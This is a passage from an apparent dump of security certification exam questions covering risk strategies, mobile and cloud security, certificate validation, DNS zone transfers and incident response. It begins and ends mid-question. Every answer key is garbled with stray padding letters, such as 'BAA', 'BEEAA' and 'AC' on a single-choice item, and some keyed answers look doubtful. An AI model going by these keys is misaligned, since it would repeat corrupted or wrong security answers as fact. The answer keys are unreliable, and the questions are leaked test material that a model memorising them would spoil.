A. Secure cookie storage
B. Standard libraries
C. State management
D. Input validation

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 60
The Chief Executive Officer (CEO) of a corporation purchased the latest mobile device and wants to connect it to the company's internal network. The Chief Information Security Officer (CISO) was told to research and recommend how to secure this device. Which of the following recommendations should be implemented to keep the device from posing a security risk to the company?

A. A corporate policy to prevent sensitive information from residing on a mobile device and antivirus software.
B. Encryption of the non-volatile memory and a corporate policy to prevent sensitive information from residing on a mobile device.
C. Encryption of the non-volatile memory and a password or PIN to access the device.
D. A password or PIN to access the device and a corporate policy to prevent sensitive information from residing on a mobile device.

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 61
The Chief Executive Officer (CEO) of a corporation decided to move all email to a cloud computing environment. The Chief Information Security Officer (CISO) was told to research the risk involved in this environment. Which of the following measures should be implemented to minimize the risk of hosting email in the cloud?

A. Remind users that all emails with sensitive information need be encrypted and physically inspect the cloud computing.
B. Ensure logins are over an encrypted channel and obtain an NDA and an SLA from the cloud provider.
C. Ensure logins are over an encrypted channel and remind users to encrypt all emails that contain sensitive information.
D. Obtain an NDA from the cloud provider and remind users that all emails with sensitive information need be encrypted.

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 62
The Chief Executive Officer (CEO) of a corporation purchased the latest mobile device and wants to connect it to the internal network. The Chief Information Security Officer (CISO) was told to research and recommend how to secure this device. Which of the following should be implemented, keeping in mind that the CEO has stated that this access is required?

A. Mitigate and Transfer
B. Accept and Transfer
C. Transfer and Avoid
D. Avoid and Mitigate

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 63
The Chief Executive Officer (CEO) of a corporation purchased the latest mobile device and connected it to the internal network. The CEO proceeded to download sensitive financial documents through their email. The device was then lost in transit to a conference. The CEO notified the company helpdesk about the lost device and another one was shipped out, after which the helpdesk ticket was closed stating the issue was resolved. This data breach was not properly reported due to insufficient training surrounding which of the following processes?

A. E-Discovery
B. Data handling
C. Incident response
D. Data recovery and storage

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 64
An employee was terminated and promptly escorted to their exit interview, after which the employee left the building. It was later discovered that this employee had started a consulting business using screen shots of their work at the company which included live customer data. This information had been removed through the use of a USB device. After this incident, it was determined a process review must be conducted to ensure this issue does not recur. Which of the following business areas should primarily be involved in this discussion? (Select TWO).

A. Database Administrator
B. Human Resources
C. Finance
D. Network Administrator
E. IT Management

Correct Answer: BEEAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 65
A technician states that workstations that are on the network in location B are unable to validate certificates, while workstations that are on the main location A's network are having no issues. Which of the following methods allows a certificate to be validated by a single server that returns the validity of that certificate?

A. XACML
B. OCSP
C. ACL
D. CRL

Correct Answer: BAA

Section: (none)
Explanation

Explanation/Reference:

QUESTION 66
A system administrator needs to develop a policy for when an application server is no longer needed. Which of the following policies would need to be developed?

A. Backup policy
B. De-provisioning policy
C. Data retention policy
D. Provisioning policy

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 67
A web administrator develops a web form for users to respond to the company via a web page. Which of the following should be practiced to avoid a security risk?

A. SQL injection
B. XSS scripting
C. Click jacking
D. Input validation

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 68
A user reports that the workstation's mouse pointer is moving and files are opening automatically. Which of the following should the user perform?

A. Unplug the network cable to avoid network activity.
B. Reboot the workstation to see if problem occurs again.
C. Turn off the computer to avoid any more issues.
D. Contact the incident response team for direction.

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 69
A system designer needs to factor in CIA requirements for a new SAN. Which of the CIA requirements is BEST

met by multipathing?

A. Confidentiality
B. Authentication
C. Integrity
D. Availability

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 70
An internal employee has sold a copy of the production customer database that was being used for upgrade testing to outside parties via HTTP file upload. The Chief Information Officer (CIO) has resigned and the Chief Executive Officer (CEO) has tasked the incoming CIO with putting effective controls in place to help prevent this from occurring again in the future. Which of the following controls is the MOST effective in preventing this threat from re-occurring?

A. Network-based intrusion prevention system
B. Data loss prevention
C. Host-based intrusion detection system
D. Web application firewall

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 71
A security manager has provided a Statement of Work (SOW) to an external penetration testing firm for a web application security test. The web application starts with a very simple HTML survey form with two components: a country selection dropdown list and a submit button. The penetration testers are required to provide their test cases for this survey form in advance. In order to adequately test the input validation of the survey form, which of the following tools would be the BEST tool for the technician to use?

A. HTTP interceptor
B. Vulnerability scanner
C. Port scanner
D. Fuzzer

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 72
An online banking application has had its source code updated and is soon to be re-launched. The underlying infrastructure has not been changed. In order to ensure that the application has an appropriate security posture, several security-related activities are required. Which of the following security activities should be performed to

provide an appropriate level of security testing coverage? (Select TWO).

A. Penetration test across the application with accounts of varying access levels (i.e. non-authenticated, authenticated, and administrative users).
B. Code review across critical modules to ensure that security defects, Trojans, and backdoors are not present.
C. Vulnerability assessment across all of the online banking servers to ascertain host and container configuration lock-down and patch levels.
D. Fingerprinting across all of the online banking servers to ascertain open ports and services.
E. Black box code review across the entire code base to ensure that there are no security defects present.

Correct Answer: ABEAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 73
Within a large organization, the corporate security policy states that personal electronic devices are not allowed to be placed on the company network. There is considerable pressure from the company board to allow smartphones to connect and synchronize email and calendar items of board members and company executives. Which of the following options BEST balances the security and usability requirements of the executive management team?

A. Allow only the executive management team the ability to use personal devices on the company network, as they have important responsibilities and need convenient access.
B. Review the security policy. Perform a risk evaluation of allowing devices that can be centrally managed, remotely disabled, and have device-level encryption of sensitive data.
C. Stand firm on disallowing non-company assets from connecting to the network as the assets may lead to undesirable security consequences, such as sensitive emails being leaked outside the company.
D. Allow only certain devices that are known to have the ability of being centrally managed. Do not allow any other smartphones until the device is proven to be centrally managed.

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 74
A replacement CRM has had its business case approved. In preparation for a requirements workshop, an architect is working with a business analyst to ensure that appropriate security requirements have been captured. Which of the following documents BEST captures the security requirements?

A. Business requirements document
B. Requirements traceability matrix document
C. Use case and viewpoints document
D. Solution overview document

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 75
Which of the following BEST defines the term e-discovery?

A. A product that provides IT-specific governance, risk management, and compliance.
B. A form of reconnaissance used by penetration testers to discover listening hosts.
C. A synonymous term for computer emergency response and incident handling.
D. A process of producing electronically stored information for use as evidence.

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 76
A new project initiative involves replacing a legacy core HR system, and is expected to touch many major operational systems in the company. A security administrator is engaged in the project to provide security consulting advice. In addition, there are database, network, application, HR, and transformation management consultants engaged on the project as well. The administrator has established the security requirements. Which of the following is the NEXT logical step?

A. Document the security requirements in an email and move on to the next most urgent task.
B. Organize for a requirements workshop with the non-technical project members, being the HR and transformation management consultants.
C. Communicate the security requirements with all stakeholders for discussion and buy-in.
D. Organize for a requirements workshop with the technical project members, being the database, network, and application consultants.

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 77
SDLC is being used for the commissioning of a new platform. To provide an appropriate level of assurance the security requirements that were specified at the project origin need to be carried through to implementation. Which of the following would BEST help to determine if this occurred?

A. Requirements workshop
B. Security development lifecycle (SDL)
C. Security requirements traceability matrix (SRTM)
D. Secure code review and penetration test

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 78

An IT administrator has installed new DNS name servers (Primary and Secondary), which are used to host the company MX records and resolve the web server's public address. In order to secure the zone transfer between the primary and secondary server, the administrator uses only server ACLs. Which of the following attacks could the secondary DNS server still be susceptible to?

A. Email spamming
B. IP spoofing
C. Clickjacking
D. DNS replication

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 79
The Chief Executive Officer (CEO) has decided to outsource systems which are not core business functions; however, a recent review by the risk officer has indicated that core business functions are dependent on the outsourced systems. The risk officer has requested that the IT department calculates the priority of restoration for all systems and applications under the new business model. Which of the following is the BEST tool to achieve this?

A. Business impact analysis
B. Annualized loss expectancy analysis
C. TCO analysis
D. Residual risk and gap analysis

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 80
A data breach occurred which impacted the HR and payroll system. It is believed that an attack from within the organization resulted in the data breach. Which of the following should be performed FIRST after the data breach occurred?

A. Assess system status
B. Restore from backup tapes
C. Conduct a business impact analysis
D. Review NIDS logs

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 81
A production server has been compromised. Which of the following is the BEST way to preserve the non-volatile evidence?

A. Shut the server down and image the hard drive.
B. Remove all power sources from the server.
C. Install remote backup software and copy data to write-once media.
D. Login remotely and perform a full backup of the server.

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 82
A project has been established in a large bank to develop a new secure online banking platform. Half way through the development it was discovered that a key piece of software used as part of the base platform is now susceptible to recently published exploits. Who should be contacted FIRST by the project team to discuss potential changes to the platform requirements?

A. Engineers
B. Facilities Manager
C. Stakeholders
D. Human Resources

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 83
The IT department of a large telecommunications company has developed and finalized a set of security solutions and policies which have been approved by upper management for deployment within the company. During the development of the security solutions and policies, the FIRST thing the IT department should have done was:

A. contact vendor management so the RFI and RFP process can be started as soon as possible.
B. contact an independent consultant who can tell them what policies and solutions they need.
C. discuss requirements with stakeholders from the various internal departments.
D. involve facilities management early in the project so they can plan for the new security hardware in the data center.

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 84
Employees have recently requested remote access to corporate email and shared drives. Remote access has never been offered; however, the need to improve productivity and rapidly responding to customer demands means staff now requires remote access. Which of the following controls will BEST protect the corporate network?

A. Develop a security policy that defines remote access requirements. Perform regular audits of user accounts and reviews of system logs.
B. Secure remote access systems to ensure shared drives are read only and access is provided through a SSL portal. Perform regular audits of user accounts and reviews of system logs.
C. Plan and develop security policies based on the assumption that external environments have active hostile threats.
D. Implement a DLP program to log data accessed by users connecting via remote access. Regularly perform user revalidation.

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 85
A manufacturing company is having issues with unauthorized access and modification of the controls operating the production equipment. A communication requirement is to allow the free flow of data between all network segments at the site. Which of the following BEST remediates the issue?

A. Implement SCADA security measures.
B. Implement NIPS to prevent the unauthorized activity.
C. Implement an AAA solution.
D. Implement a firewall to restrict access to only a single management station.

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 86
A small bank is introducing online banking to its customers through its new secured website. The firewall has three interfaces: one for the Internet connection, another for the DMZ, and the other for the internal network. Which of the following will provide the MOST protection from all likely attacks on the bank?

A. Implement NIPS inline between the web server and the firewall.
B. Implement a web application firewall inline between the web server and the firewall.
C. Implement host intrusion prevention on all machines at the bank.
D. Configure the firewall policy to only allow communication with the web server using SSL.

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 87
The Chief Information Officer (CIO) comes to the security manager and asks what can be done to reduce the potential of sensitive data being emailed out of the company. Which of the following is an active security measure to protect against this threat?

A. Require a digital signature on all outgoing emails.

B. Sanitize outgoing content.
C. Implement a data classification policy.
D. Implement a SPAM filter.

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 88
A company is developing a new web application for its Internet users and is following a secure coding methodology. Which of the following methods would BEST assist the developers in determining if any unknown vulnerabilities are present?

A. Conduct web server load tests.
B. Conduct static code analysis.
C. Conduct fuzzing attacks.
D. Conduct SQL injection and XSS attacks.

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 89
An organization must comply with a new regulation that requires the organization to determine if an external attacker is able to gain access to its systems from outside the network. Which of the following should the company conduct to meet the regulation's criteria?

A. Conduct a compliance review
B. Conduct a vulnerability assessment
C. Conduct a black box penetration test
D. Conduct a full system audit

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 90
The sales division within a large organization purchased touch screen tablet computers for all 250 sales representatives in an effort to showcase the use of technology to its customers and increase productivity. This includes the development of a new product tracking application that works with the new platform. The security manager attempted to stop the deployment because the equipment and application are non-standard and unsupported within the organization. However, upper management decided to continue the deployment. Which of the following provides the BEST method for evaluating the potential threats?

A. Conduct a vulnerability assessment to determine the security posture of the new devices and the application.
B. Benchmark other organization's that already encountered this type of situation and apply all relevant

learning’s and industry best practices.

C. Work with the business to understand and classify the risk associated with the full lifecycle of the hardware and software deployment.

D. Develop a standard image for the new devices and migrate to a web application to eliminate locally resident data.

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 91
Based on the results of a recent audit, a company rolled out a standard computer image in an effort to provide consistent security configurations across all computers. Which of the following controls provides the GREATEST level of certainty that unauthorized changes are not occurring?

A. Schedule weekly vulnerability assessments

B. Implement continuous log monitoring

C. Scan computers weekly against the baseline

D. Require monthly reports showing compliance with configuration and updates

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 92
Due to a new regulation, a company has to increase active monitoring of security-related events to 24 hours a day. The security staff only has three full time employees that work during normal business hours. Instead of hiring new security analysts to cover the remaining shifts necessary to meet the monitoring requirement, the Chief Information Officer (CIO) has hired a Managed Security Service (MSS) to monitor events. Which of the following should the company do to ensure that the chosen MSS meets expectations?

A. Develop a memorandum of understanding on what the MSS is responsible to provide.

B. Create internal metrics to track MSS performance.

C. Establish a mutually agreed upon service level agreement.

D. Issue a RFP to ensure the MSS follows guidelines.

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 93
The company’s marketing department needs to provide more real-time interaction with its partners and consumers and decides to move forward with a presence on multiple social networking sites for sharing information. Which of the following minimizes the potential exposure of proprietary information?

A. Require each person joining the company’s social networking initiative to accept a nondisclosure agreement.

B. Establish a specific set of trained people that can release information on the organization’s behalf.
C. Require a confidential statement be attached to all information released to the social networking sites.
D. Establish a social media usage policy and provide training to all marketing employees.

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 94
Company Z is merging with Company A to expand its global presence and consumer base. This purchase includes several offices in different countries. To maintain strict internal security and compliance requirements, all employee activity may be monitored and reviewed. Which of the following would be the MOST likely cause for a change in this practice?

A. The excessive time it will take to merge the company’s information systems.
B. Countries may have different legal or regulatory requirements.
C. Company A might not have adequate staffing to conduct these reviews.
D. The companies must consolidate security policies during the merger.

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 95
An administrator wants to virtualize the company's web servers, application servers, and database servers. Which of the following should be done to secure the virtual host machines? (Select TWO).

A. Establish VLANs for each virtual guest's NIC on the virtual switch.
B. Enable virtual switch layer 2 security precautions.
C. Only access hosts through a secure management interface.
D. Distribute guests to hosts by application role or trust zone.
E. Restrict physical and network access to the host console.

Correct Answer: CEEAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 96
A security incident happens three times a year on a company's web server costing the company $1,500 in downtime, per occurrence. The web server is only for archival access and is scheduled to be decommissioned in five years. The cost of implementing software to prevent this incident would be $15,000 initially, plus $1,000 a year for maintenance. Which of the following is the MOST cost-effective manner to deal with this risk?

A. Avoid the risk
B. Transfer the risk
C. Accept the risk

D. Mitigate the risk

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 97
An administrator is assessing the potential risk impact on an accounting system and categorizes it as follows:
Administrative Files = {(Confidentiality, Moderate), (Integrity, Moderate), (Availability, Low)}
Vendor Information = {(Confidentiality, Moderate), (Integrity, Low), (Availability, Low)}
Payroll Data = {(Confidentiality, High), (Integrity, Moderate), (Availability, Low)}
Which of the following is the aggregate risk impact on the accounting system?

A. {(Confidentiality, Moderate), (Integrity, Moderate), (Availability, Moderate)}
B. {(Confidentiality, High), (Integrity, Low), (Availability, Low)}
C. {(Confidentiality, High), (Integrity, Moderate), (Availability, Low)}
D. {(Confidentiality, Moderate), (Integrity, Moderate), (Availability, Low)}

Correct Answer: AC
Section: (none)
Explanation

Explanation/Reference:

QUESTION 98
An administrator is reviewing a recent security audit and determines that two users in finance also have access to the human resource data. One of those users fills in for any HR employees on vacation, the other user only works in finance. Which of the following policies is being violated by the finance user according to the audit results?

A. Mandatory vacation
B. Non-disclosure
C. Job rotation
D. Least privilege

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 99
After a security incident, an administrator revokes the SSL certificate for their web server www.company.com.

Later, users begin to inform the help desk that a few other servers are generating certificate errors: ftp.company.com, mail.company.com, and partners.company.com. Which of the following is MOST likely the reason for this?

A. Each of the servers used the same EV certificate.
B. The servers used a wildcard certificate.
C. The web server was the CA for the domain.
D. Revoking a certificate can only be done at the domain level.

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:
Topic 2, Volume B

QUESTION 100
Virtual hosts with different security requirements should be:

A. encrypted with a one-time password.
B. stored on separate physical hosts.
C. moved to the cloud.
D. scanned for vulnerabilities regularly.

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 101
Corporate policy states that the systems administrator should not be present during system audits. The security policy that states this is:

A. separation of duties.
B. mandatory vacation.
C. non-disclosure agreement.
D. least privilege.

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 102
When Company A and Company B merged, the network security administrator for Company A was tasked with joining the two networks. Which of the following should be done FIRST?

A. Implement a unified IPv6 addressing scheme on the entire network.
B. Conduct a penetration test of Company B’s network.
C. Perform a vulnerability assessment on Company B’s network.
D. Perform a peer code review on Company B’s application.

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 103
A legacy system is not scheduled to be decommissioned for two years and requires the use of the standard Telnet protocol. Which of the following should be used to mitigate the security risks of this system?

A. Migrate the system to IPv6.
B. Migrate the system to RSH.
C. Move the system to a secure VLAN.
D. Use LDAPs for authentication.

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 104
An ISP is peering with a new provider and wishes to disclose which autonomous system numbers should be allowed through BGP for network transport. Which of the following should contain this information?

A. Memorandum of Understanding
B. Interconnection Security Agreement
C. Operating Level Agreement
D. Service Level Agreement

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 105
A wholesaler has decided to increase revenue streams by selling direct to the public through an on-line system. Initially this will be run as a short term trial and if profitable, will be expanded and form part of the day to day business. The risk manager has raised two main business risks for the initial trial?
IT staff has no experience with establishing and managing secure on-line credit card processing.
An internal credit card processing system will expose the business to additional compliance requirements.
Which of the following is the BEST risk mitigation strategy?

A. Transfer the risks to another internal department, who have more resources to accept the risk.
B. Accept the risks and log acceptance in the risk register. Once the risks have been accepted close them out.
C. Transfer the initial risks by outsourcing payment processing to a third party service provider.
D. Mitigate the risks by hiring additional IT staff with the appropriate experience and certifications.

Correct Answer: CAA

Section: (none)
Explanation

Explanation/Reference:

QUESTION 106
A large enterprise is expanding through the acquisition of a second corporation. Which of the following should be undertaken FIRST before connecting the networks of the newly formed entity?

A. A system and network scan to determine if all of the systems are secure.
B. Implement a firewall/DMZ system between the networks.
C. Develop a risk analysis for the merged networks.
D. Conduct a complete review of the security posture of the acquired corporation.

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 107
The company is considering issuing non-standard tablet computers to executive management. Which of the following is the FIRST step the security manager should perform?

A. Apply standard security policy settings to the devices.
B. Set up an access control system to isolate the devices from the network.
C. Integrate the tablets into standard remote access systems.
D. Develop the use case for the devices and perform a risk analysis.

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 108
When authenticating over HTTP using SAML, which of the following is issued to the authenticating user?

A. A symmetric key
B. A PKI ticket
C. An X.509 certificate
D. An assertion ticket

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 109
Which of the following activities could reduce the security benefits of mandatory vacations?

A. Have a replacement employee run the same applications as the vacationing employee.
B. Have a replacement employee perform tasks in a different order from the vacationing employee.
C. Have a replacement employee perform the job from a different workstation than the vacationing employee.
D. Have a replacement employee run several daily scripts developed by the vacationing employee.

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 110
A database is hosting information assets with a computed CIA aggregate value of high. The database is located within a secured network zone where there is flow control between the client and datacenter networks. Which of the following is the MOST likely threat?

A. Inappropriate administrator access
B. Malicious code
C. Internal business fraud
D. Regulatory compliance

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 111
An organization recently upgraded its wireless infrastructure to support WPA2 and requires all clients to use this method. After the upgrade, several critical wireless clients fail to connect because they are only WEP compliant. For the foreseeable future, none of the affected clients have an upgrade path to put them into compliance with the WPA2 requirement. Which of the following provides the MOST secure method of integrating the non-compliant clients into the network?

A. Create a separate SSID and WEP key to support the legacy clients and enable detection of rogue APs.
B. Create a separate SSID and WEP key on a new network segment and only allow required communication paths.
C. Create a separate SSID and require the legacy clients to connect to the wireless network using certificate-based 802.1x.
D. Create a separate SSID and require the use of dynamic WEP keys.

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 112
The Chief Information Security Officer (CISO) is researching ways to reduce the risk associated with administrative access of six IT staff members while enforcing separation of duties. In the case where an IT staff member is absent, each staff member should be able to perform all the necessary duties of their IT co-workers. Which of the following policies should the CISO implement to reduce the risk?

A. Require the use of an unprivileged account, and a second shared account only for administrative purposes.
B. Require role-based security on primary role, and only provide access to secondary roles on a case-by-case basis.
C. Require separation of duties ensuring no single administrator has access to all systems.
D. Require on-going auditing of administrative activities, and evaluate against risk-based metrics.

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 113
A company has a primary DNS server at address 192.168.10.53 and a secondary server at 192.168.20.53. An administrator wants to secure a company by only allowing secure zone transfers to the secondary server. Which of the following should appear in the primary DNS configuration file to accomplish this?

A.
```
key company-key.{
algorithm hmac-rc4;
secret "Hdue8du9jdknkhdoLksdlkeYEIks83K=";
};
allow transfer { 192.168.20.53; }
```

B.
```
key company-key.{
algorithm hmac-md5;
secret "Hdue8du9jdknkhdoLksdlkeYEIks83K=";
};
allow transfer { 192.168.10.53; }
```

C.
```
key company-key.{
algorithm hmac-md5;
secret "Hdue8du9jdknkhdoLksdlkeYEIks83K=";
};
allow transfer { 192.168.20.53; }
```

D.
```
key company-key.{
algorithm hmac-rc4;
secret "Hdue8du9jdknkhdoLksdlkeYEIks83K=";
};
allow transfer { 192.168.10.53; }
```

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 114
An employee of a company files a complaint with a security administrator. While sniffing network traffic, the employee discovers that financially confidential emails were passing between two warehouse users. The two users deny sending confidential emails to each other. Which of the following security practices would allow for non-repudiation and prevent network sniffers from reading the confidential mail? (Select TWO).

A. Transport encryption
B. Authentication hashing
C. Digital signature
D. Legal mail hold

E. TSIG code signing

Correct Answer: ACEAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 115
An administrator of a secure web server has several clients with top security clearance and prefers security over performance. By default, which of the following cipher suites would provide strong security, but at the same time the worst performance?

A. 3DES - SHA
B. DES - MD5
C. Camellia - SHA
D. RC4 - MD5

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 116
An administrator wants to integrate the Credential Security Support Provider (CredSSP) protocol network level authentication (NLA) into the remote desktop terminal services environment. Which of the following are supported authentication or encryption methods to use while implementing this? (Select THREE).

A. Kerberos
B. NTLM
C. RADIUS
D. TACACS+
E. TLS
F. HMAC
G. Camellia

Correct Answer: ABEEAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 117
A systems security consultant is hired by Corporation X to analyze the current enterprise network environment and make recommendations for increasing network security. It is the consultant's first day on the job. Which of the following network design considerations should the consultant consider? (Select THREE).

A. What hardware and software would work best for securing the network?
B. What corporate assets need to be protected?
C. What are the business needs of the organization?
D. What outside threats are most likely to compromise network security?

E. What is the budget for this project?

F. What time and resources are needed to carry out the security plan?

Correct Answer: BCDEAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 118
The Chief Executive Officer (CEO) has asked a security project manager to provide recommendations on the breakout of tasks for the development of a new product. The CEO thinks that by assigning areas of work appropriately the overall security of the product will be increased, because staff will focus on their areas of expertise. Given the below groups and tasks select the BEST list of assignments.
Groups: Networks, Development, Project Management, Security, Systems Engineering, Testing
Tasks: Decomposing requirements, Secure coding standards, Code stability, Functional validation, Stakeholder engagement, Secure transport

A. SystemsEngineering. Decomposing requirements Development: Secure coding standards Testing. Code stability Project Management: Stakeholder engagement Security: Secure transport Networks: Functional validation

B. SystemsEngineering. Decomposing requirements Development: Code stability Testing. Functional validation Project Management: Stakeholder engagement Security: Secure coding standards Networks: Secure transport

C. SystemsEngineering. Functional validation Development: Stakeholder engagement Testing. Code stability Project Management: Decomposing requirements Security: Secure coding standards Networks: Secure transport

D. SystemsEngineering. Decomposing requirements Development: Stakeholder engagement Testing. Code stability Project Management: Functional validation Security: Secure coding standards Networks: Secure transport

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 119
Which of the following is the MOST secure way to ensure third party applications and introduce only acceptable risk?

A. Line by line code review and simulation; uncovers hidden vulnerabilities and allows for behavior to be observed with minimal risk.

B. Technical exchange meetings with the application’s vendor; vendors have more in depth knowledge of the product.

C. Pilot trial; minimizes the impact to the enterprise while still providing services to enterprise users.

D. Full deployment with crippled features; allows for large scale testing and observation of the applications security profile.

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 120
A software vendor has had several zero-day attacks against its software, due to previously unknown security defects being exploited by attackers. The attackers have been able to perform operations at the same security level as the trusted application. The vendor product management team has decided to re-design the application with security as a priority. Which of the following is a design principle that should be used to BEST prevent these types of attacks?

A. Application sandboxing
B. Input validation
C. Penetration testing
D. Code reviews

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 121
A new vendor product has been acquired to replace a legacy perimeter security product. There are significant time constraints due to the existing solution nearing end-of-life with no options for extended support. It has been emphasized that only essential activities be performed. Which of the following sequences BEST describes the order of activities when balancing security posture and time constraints?

A. Install the new solution, migrate to the new solution, and test the new solution.
B. Purchase the new solution, test the new solution, and migrate to the new solution.
C. Decommission the old solution, install the new solution, and test the new solution.
D. Test the new solution, migrate to the new solution, and decommission the old solution.

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 122
Within an organization, there is a known lack of governance for solution designs. As a result there are inconsistencies and varying levels of quality for the artifacts that are produced. Which of the following will help BEST improve this situation?

A. Ensure that those producing solution artifacts are reminded at the next team meeting that quality is important.
B. Introduce a peer review process that is mandatory before a document can be officially made final.
C. Introduce a peer review and presentation process that includes a review board with representation from relevant disciplines.
D. Ensure that appropriate representation from each relevant discipline approves of the solution documents before official approval.

Correct Answer: CAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 123
During a specific incident response and recovery process action, the response team determines that it must first speak to the person ultimately responsible for the data. With whom should the response team speak FIRST?

A. Data User
B. Data Owner
C. Business Owner
D. Data Custodian

Correct Answer: BAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 124
A growing corporation is responding to the needs of its employees to access corporate email and other resources while traveling. The company is implementing remote access for company laptops. Which of the following security systems should be implemented for remote access? (Select TWO).

A. Virtual Private Network
B. Secure Sockets Layer for web servers
C. Network monitoring
D. Multifactor authentication for users
E. Full disk encryption
F. Intrusion detection systems

Correct Answer: ADEAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 125
In order to reduce cost and improve employee satisfaction, a large corporation has decided to allow personal communication devices to access email and to remotely connect to the corporate network. Which of the following security measures should the IT organization implement? (Select TWO).

A. A device lockdown according to policies
B. An IDS on the internal networks
C. A data disclosure policy
D. A privacy policy
E. Encrypt data in transit for remote access

Correct Answer: AEEAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 126
A storage administrator would like to make storage available to some hosts and unavailable to other hosts. Which of the following would be used?

A. LUN masking
B. Deduplication
C. Multipathing
D. Snapshots

Correct Answer: AAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 127
Which of the following is a security advantage of single sign-on? (Select TWO).

A. Users only have to remember one password.
B. Applications need to validate authentication tokens.
C. Authentication is secured by the certificate authority.
D. Less time and complexity removing user access.
E. All password transactions are encrypted.

Correct Answer: ADEAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 128
After a system update causes significant downtime, the Chief Information Security Officer (CISO) asks the IT manager who was responsible for the update. The IT manager responds that it is impossible to know who did the update since five different people have administrative access. How should the IT manager increase accountability to prevent this situation from reoccurring? (Select TWO).

A. Implement an enforceable change management system.
B. Implement a software development life cycle policy.
C. Enable user level auditing on all servers.
D. Implement a federated identity management system.
E. Configure automatic updates on all servers.

Correct Answer: ACEAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 129
Company A is purchasing Company B, and will import all of Company B's users into its authentication system. Company A uses 802.1x with a RADIUS server, while Company B uses a captive SSL portal with an LDAP backend. Which of the following is the BEST way to integrate these two networks?

A. Enable RADIUS and end point security on Company B’s network devices.
B. Enable LDAP authentication on Company A’s network devices.
C. Enable LDAP/TLS authentication on Company A’s network devices.
D. Enable 802.1x on Company B’s network devices.

Correct Answer: DAA
Section: (none)
Explanation

Explanation/Reference:

QUESTION 130
A company has a legacy virtual cluster which was added to the datacenter after a small company was acquired. All VMs on the cluster use the same virtual network interface to connect to the corporate data center LAN. Some of the virtual machines on the cluster process customer data, some process company financial data, and others act as externally facing web servers. Which of the following security risks can result from the configuration in this scenario?

A. Visibility on the traffic between the virtual machines can impact confidentiality
B. NIC utilization can exceed 50 percent and impact availability
